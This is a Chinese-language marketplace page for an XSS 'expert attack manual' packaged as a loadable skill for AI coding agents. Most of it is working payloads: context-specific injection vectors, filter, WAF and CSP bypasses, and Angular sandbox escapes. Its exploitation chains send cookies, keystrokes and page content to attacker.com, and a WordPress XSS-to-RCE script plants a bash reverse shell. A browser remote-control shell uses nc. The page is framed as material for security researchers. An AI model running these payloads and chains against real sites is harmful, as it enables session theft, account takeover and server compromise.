mcpField
X
xss-cross-site-scripting

xss-cross-site-scripting

github.com/yaklang安全2.6k4.0k 次安装6 周前更新
代码仓库

关于 xss-cross-site-scripting

面向安全研究人员的高级 XSS 手册,侧重按上下文选择测试方式、绕过过滤和 CSP,以及后续利用路径;配套文件介绍更多场景与技巧。

主要功能

  1. 01按上下文选择载荷
  2. 02多处反射与存储型 XSS
  3. 03CSP 和过滤绕过方法
  4. 04盲 XSS 测试
  5. 05后续利用技术

适用场景

  1. 01评估网页中的反射输入
  2. 02测试管理界面中的存储内容
  3. 03调查受 CSP 限制的注入
  4. 04检查字段是否存在盲 XSS

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill xss-cross-site-scripting

安装后在 Claude Code 中输入/xss-cross-site-scripting确认已加载。

附带文件ADVANCED_XSS_TRICKS.mdSCENARIOS.md

详细介绍

技能:跨站脚本攻击(XSS)— 专家攻击手册

AI 加载说明:本技能涵盖不易察觉的 XSS 技巧、针对特定上下文选择载荷、WAF 绕过、CSP 绕过和利用后操作。假设读者已经了解 <script>alert(1)</script>——本文只涵盖基础模型通常会忽略的内容。如需了解真实世界的 CVE 案例、HttpOnly 绕过策略、XS-Leaks 侧信道和会话固定攻击,请加载配套的 SCENARIOS.md。

0. 相关路由

扩展场景

遇到以下情况时,也请加载 SCENARIOS.md:

  • Django 调试页面 XSS(CVE-2017-12794)——重复键错误 → 未转义异常 → XSS
  • 适用于旧版 IE 环境的 UTF-7 XSS(+ADw-script+AD4-)
  • HttpOnly 绕过方法——代理浏览器、会话搭乘、通过 XSS 发起 CSRF
  • XS-Leaks 侧信道攻击——计时预言机、缓存探测、performance.now() 测量
  • 通过 XSS 实现会话固定——在受害者登录前预先设置会话 ID
  • 适用于 CSP 限制环境的 DOM 混淆技术
高级技巧

遇到以下情况时,也请加载 ADVANCED_XSS_TRICKS.md:

  • mXSS / DOMPurify 绕过——命名空间混淆、<noscript> 解析差异、表单/表格重构
  • DOM 混淆——通过 id/name 覆盖属性、HTMLCollection、深层属性链
  • 现代框架 XSS——React dangerouslySetInnerHTML、Vue v-html、Angular bypassSecurityTrust*、Next.js SSR
  • Trusted Types 绕过——滥用默认策略、非 TT 接收点、策略透传
  • Service Worker XSS 持久化——恶意 SW 注册、拦截 fetch、补丁更新后仍然存活
  • PDF/SVG/MathML XSS 向量、多态载荷、浏览器特定技巧
  • XS-Leaks 和侧信道——计时预言机、帧计数、缓存探测、错误事件预言机

在大范围投放载荷前,可以先加载:

  • 当你需要了解完整的上传流程(验证、存储、预览和共享行为)时,请加载 上传不安全文件
快速上下文选择
上下文首选备用
HTML 正文<svg onload=alert(1)><img src=1 onerror=alert(1)>
带引号的属性" autofocus onfocus=alert(1)//" onmouseover=alert(1)//
JavaScript 字符串'-alert(1)-''</script><svg onload=alert(1)>
URL / href 接收点javascript:alert(1)data:text/html,<svg onload=alert(1)>
类似 title 的标签正文</title><svg onload=alert(1)></textarea><svg onload=alert(1)>
SVG / XML 接收点<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>XHTML 命名空间载荷
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>

1. 注入上下文矩阵

先识别上下文,再选择载荷。上下文不匹配 = 白费功夫。

上下文指示特征起始内容载荷
标签外的 HTML<b>INPUT</b><svg onload=<svg onload=alert(1)>
HTML 属性值value="INPUT"用 " 结束属性"onmouseover=alert(1)//
行内属性,无法闭合标签带引号,已剥除 >事件注入"autofocus onfocus=alert(1)//
块级标签(title/script/textarea)<title>INPUT</title>先闭合标签</title><svg onload=alert(1)>
href / src / data / action链接或表单协议javascript:alert(1)
JS 字符串(单引号)var x='INPUT'结束字符串'-alert(1)-' 或 '-alert(1)//
带转义的 JS 字符串反斜杠转义双重转义\'-alert(1)//
JS 逻辑块位于 if/函数内部闭合后注入'}alert(1);{'
页面任意位置的 JS<script>...INPUT结束 script</script><svg onload=alert(1)>
XML 页面(text/xml)XML 内容类型XML 命名空间<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>

2. 多处反射攻击

当输入在同一页面的多个位置反射时,单个载荷即可从所有位置触发:


'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*


*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='


p=<svg/1='&q='onload=alert(1)>

3. 高级注入向量

DOM 插入注入(反射出现在 DOM 中而非源代码中)

通过 .innerHTML、document.write、jQuery .html() 插入输入内容:

<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>

对于由 URL 控制的资源插入:

data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
PHP_SELF 路径注入

当 URL 本身反射在表单 action 中时:

https://target.com/page.php/"><svg onload=alert(1)>?param=val

在 .php 和 ? 之间注入,并使用前导 /。

文件上传 XSS

文件名注入(反射出文件名时):

"><svg onload=alert(1)>.gif

SVG 上传(允许上传 SVG 的图像上传导致存储型 XSS):

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

元数据注入(反射出 EXIF 时):

exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg
postMessage XSS(未检查来源)

当页面使用 window.addEventListener('message', ...),但未验证来源时:

<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">
postMessage 来源绕过

当确实检查了来源,但使用 .includes() 或前缀匹配时:

http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>

攻击者控制 facebook.com.ATTACKER.com 子域名。

基于 XML 的 XSS

响应的类型为 text/xml 或 application/xml:

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>
无需闭合标签的脚本注入

当页面后续确实有 </script> 标签时:

<script src=data:,alert(1)>
<script src=//attacker.com/1.js>

4. CSP 绕过技术

JSONP 端点绕过(允许列表中的域名有 JSONP)
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>
AngularJS CDN 绕过(允许列表中有 ajax.googleapis.com)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>
Angular 表达式(服务器对 HTML 编码,但 AngularJS 会进行求值)

当页面上的 {{1+1}} 求值结果为 2 时——这是 CSTI 的典型迹象:

// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}

// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
base-uri 注入(CSP 未限制 base-uri)
<base href="https://attacker.com/">

相对 <script src=...> 会从攻击者的服务器加载。

通过悬空标记实现基于 DOM 的攻击

当 CSP 阻止脚本但允许 img 时:

<img src='https://attacker.com/log?

将页面后续内容泄露给攻击者。


5. 过滤器和 WAF 绕过

参数名称攻击(WAF 检查值而非名称)

当参数名称会被反射时(例如,在 JSON 输出中):

?"></script><base%20c%3D=href%3Dhttps:\mysite>

有效载荷是参数名称,而非值。

编码链
%253C  → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag

测试顺序:反射 → 编码行为 → 识别过滤逻辑 → 变换。

标签变形(绕过黑名单)
<ScRipt>  ← case variation
</script/x>  ← trailing garbage
<script  ← incomplete (relies on later >)
<%00iframe  ← null byte
<svg/onload=  ← slash instead of space
分段注入(绕过标签剥离)

过滤器会剥离 <x>...</x>:

"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
不使用事件处理程序的向量
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<math><brute href=javascript:alert(1)>click

6. 二阶 XSS

定义:输入会被存储(通常经过规范化或 HTML 编码),之后再被取回并插入 DOM,且未重新编码。

典型触发有效载荷(绕过即时 HTML 编码):

&lt;svg/onload&equals;alert(1)&gt;

检查:个人资料字段、显示名称、论坛帖子——任何数据被存储后,又在不同上下文中重新呈现的地方(例如,管理面板与面向用户的页面)。

存储型 → 管理员上下文 XSS:影响通常最大——使用精心构造的用户名注册,然后等待管理员查看用户列表。


7. 盲 XSS 方法

每个未立即反射的参数都应测试盲 XSS:

  • 联系表单、反馈字段
  • User-Agent / Referer
  • 注册字段
  • 错误日志注入

盲 XSS 回连有效载荷(远程 JS 文件方案):

"><script src=//attacker.com/bxss.js></script>

最小收集器(托管于 bxss.js):

var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));

使用 XSS Hunter 或类似的盲 XSS 平台进行自动收集。


8. XSS 利用链

窃取 Cookie
fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation instead
键盘记录器
document.onkeypress = function(e) {
    fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}
通过 XSS 发起 CSRF(绕过 CSRF 防护,从 DOM 读取 CSRF 令牌)
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('[email protected]&csrf='+token);
WordPress XSS → RCE(管理员会话 + Hello Dolly 插件):
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
    '&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }
浏览器远程控制(JS 命令 shell)
// Injected into victim:
setInterval(function(){
    with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)
# Attacker listener:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done

9. 决策树

Test XSS entry point
├── Input reflected in response?
│   ├── YES → Identify context (HTML / JS / attr / URL)
│   │         → Select context-appropriate payload
│   │         → If blocked → check filter behavior
│   │         │   → Try encoding, case mutation, fragmentation
│   │         │   → Check if parameter NAME is reflected (WAF gap)
│   │         └── Success → escalate (cookie steal / CSRF / RCE)
│   └── NO  → Is it stored? → Inject blind XSS payload
│             Is it in DOM? → Check JS source for unsafe sinks
│                             (innerHTML, eval, document.write, location.href)
└── CSP present?
    ├── Check for JSONP endpoints on allow-listed domains
    ├── Check for AngularJS on CDN allow-list
    ├── Check for base-uri missing → <base> injection
    └── Check for unsafe-eval or unsafe-inline exceptions

10. XSS 测试流程(ZSEANO 方法)

  1. 步骤 1 — 测试无恶意标签:<h2>、<img>、<table>——它们会未经处理地反射吗?
  2. 步骤 2 — 测试不完整标签:<iframe src=//attacker.com/c=(没有结束的 >)
  3. 步骤 3 — 编码探测:<%00h2、%0d、%0a、%09、%253C
  4. 步骤 4 — 如果过滤了 <script> 和 onerror,但没有过滤 <script (没有结束符):<script src=//attacker.com?c=
  5. 步骤 5 — 黑名单检查:<svg> 能用吗?<ScRiPt> 能用吗?
  6. 注意:相同的过滤器可能也存在于其他地方——如果搜索中会过滤 <script>,文件上传文件名中也会过滤吗?个人资料简介中呢?

关键见解:存在过滤器 = 存在漏洞,开发者曾尝试修复。沿着这条线索检查整个应用程序。

评论

支持 Markdown